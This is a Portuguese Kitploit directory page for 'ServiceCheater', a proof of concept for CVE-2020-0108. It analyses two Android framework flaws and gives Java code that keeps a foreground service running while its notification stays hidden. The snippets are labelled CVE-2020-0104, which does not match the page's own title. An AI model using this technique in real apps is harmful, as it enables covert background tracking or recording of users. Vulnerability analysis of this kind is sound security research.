Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ServiceCheater — PoC do CVE-2020-0108 | Kitploit
Ferramentas/GitHubGitHub/crackercat/servicecheater
Segurança AndroidEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança Móvel
GitHubcrackercat/servicecheater

ServiceCheater

PoC do CVE-2020-0108

Ver Repositório
11112há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise da vulnerabilidade de elevação de privilégio do serviço em primeiro plano CVE-2020-0108

1. Contexto da vulnerabilidade

  • No patch de 2020-08 do AOSP, foi divulgada uma vulnerabilidade no framework AMS, com o ID CVE-2020-0108, classificada como Alta. Uma falha lógica no tratamento de serviços em primeiro plano no AMS permite que um atacante que a explore com sucesso ignore a exibição da notificação do serviço em primeiro plano e continue em execução em segundo plano. O ataque precisa ser iniciado por um aplicativo malicioso local, sem exigir interação do usuário. Se o usuário conceder outras permissões ao aplicativo, pode causar danos maiores, como rastreamento contínuo de localização ou gravação silenciosa.

2. Detalhes da vulnerabilidade

  • O serviço em primeiro plano foi introduzido pelo Google no Android 8.0. Como o Android 8.0 não permite iniciar serviços em segundo plano a partir do segundo plano, foi criado o conceito de serviço em primeiro plano. Esse tipo de serviço tem prioridade alta e pode ser executado em segundo plano por muito tempo, mas deve associar uma notificação dentro de 5 segundos após ser iniciado, caso contrário será encerrado. Na prática, o serviço em primeiro plano ainda é executado em “segundo plano”, mas como está vinculado a uma notificação visível ao usuário, o Google o chama de “serviço em primeiro plano”.
  • Esta vulnerabilidade possui dois métodos de ataque, correspondentes a duas falhas lógicas.
  • A primeira falha está no método onNotificationError no NotificationManagerService, que não trata corretamente as exceções na exibição da notificação.
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • Nesse caso, após o serviço em primeiro plano ser iniciado, mesmo que a notificação não seja exibida corretamente, o serviço não é encerrado. Por exemplo, se o serviço em primeiro plano usar um layout personalizado ao criar a notificação e, ao construir o objeto RemoteViews, passar um valor de resID inexistente, o NotificationManagerService falhará ao analisar o layout da notificação, lançando uma exceção e chamando o método onNotificationError. Como o método onNotificationError apenas chama cancelNotification para cancelar a notificação, sem encerrar o serviço ou todo o aplicativo, o serviço em primeiro plano continua executando sem exibir a notificação.
  • A segunda falha está no método postNotification no ServiceRecord, que não trata corretamente as exceções na exibição da notificação, mas sim lança a exceção para o programa do usuário.
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • Nesse caso, após o serviço em primeiro plano ser iniciado, se o programa do usuário capturar a exceção na thread principal, mesmo que a notificação não seja exibida corretamente, o serviço não é encerrado. Por exemplo, se o serviço em primeiro plano passar um ID de canal inválido ao criar a notificação, ao enviar a notificação no método postNotification do ServiceRecord, uma exceção será lançada. No tratamento da exceção, o método crashApplication do AMS é chamado para lançar uma exceção na thread principal do aplicativo. No entanto, se o aplicativo capturar a exceção na thread principal, ele não trava, e o serviço em primeiro plano continua executando sem exibir a notificação.

3. Verificação da vulnerabilidade

  • Primeira falha: pode ser acionada no serviço em primeiro plano usando o código a seguir:
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • Ao criar o objeto RemoteViews, especificamos o ID do layout como -1, que obviamente é um valor inválido, acionando assim o callback onNotificationError.
  • Segunda falha: pode ser acionada no serviço em primeiro plano usando o código a seguir:
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • Desta vez, não criamos o objeto NotificationChannel e usamos diretamente um ID de canal inválido para construir a Notification, acionando assim a exceção do método postNotification. Em seguida, capturamos a exceção na thread principal, evitando que o aplicativo trave.
Baixar ferramenta